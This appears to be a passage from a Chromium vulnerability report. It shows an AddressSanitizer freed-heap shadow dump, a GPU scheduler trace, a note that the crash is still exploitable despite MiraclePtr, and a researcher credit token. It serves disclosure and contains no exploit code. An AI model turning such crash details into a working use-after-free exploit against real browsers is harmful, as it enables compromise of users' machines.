0x71787d175800: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x71787d175880: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
=>0x71787d175900:[fd]fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x71787d175980: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x71787d175a00: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x71787d175a80: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x71787d175b00: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x71787d175b80: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==154737==ADDITIONAL INFO
==154737==Note: Please include this section with the ASan report.
Task trace:
#0 0x5eec57650e62 in gpu::Scheduler::RunNextTask() gpu/command_buffer/service/scheduler.cc:647:27
#1 0x5eec57650e62 in gpu::Scheduler::RunNextTask() gpu/command_buffer/service/scheduler.cc:647:27
#2 0x5eec57650e62 in gpu::Scheduler::RunNextTask() gpu/command_buffer/service/scheduler.cc:647:27
#3 0x5eec57650e62 in gpu::Scheduler::RunNextTask() gpu/command_buffer/service/scheduler.cc:647:27
MiraclePtr Status: NOT PROTECTED
No raw_ptr<T> access to this region was detected prior to this crash.
This crash is still exploitable with MiraclePtr.
Refer to https://chromium.googlesource.com/chromium/src/+/main/base/memory/raw_ptr.md for details.
==154737==END OF ADDITIONAL INFO
==154737==ABORTING
[154700:154700:0312/225514.129998:ERROR:content/browser/gpu/gpu_process_host.cc:999] GPU process exited unexpectedly: exit_code=256
Credit
Please use 86ac1f1587b71893ed2ad792cd7dde32 as the credit for this vulnerability. Thank you.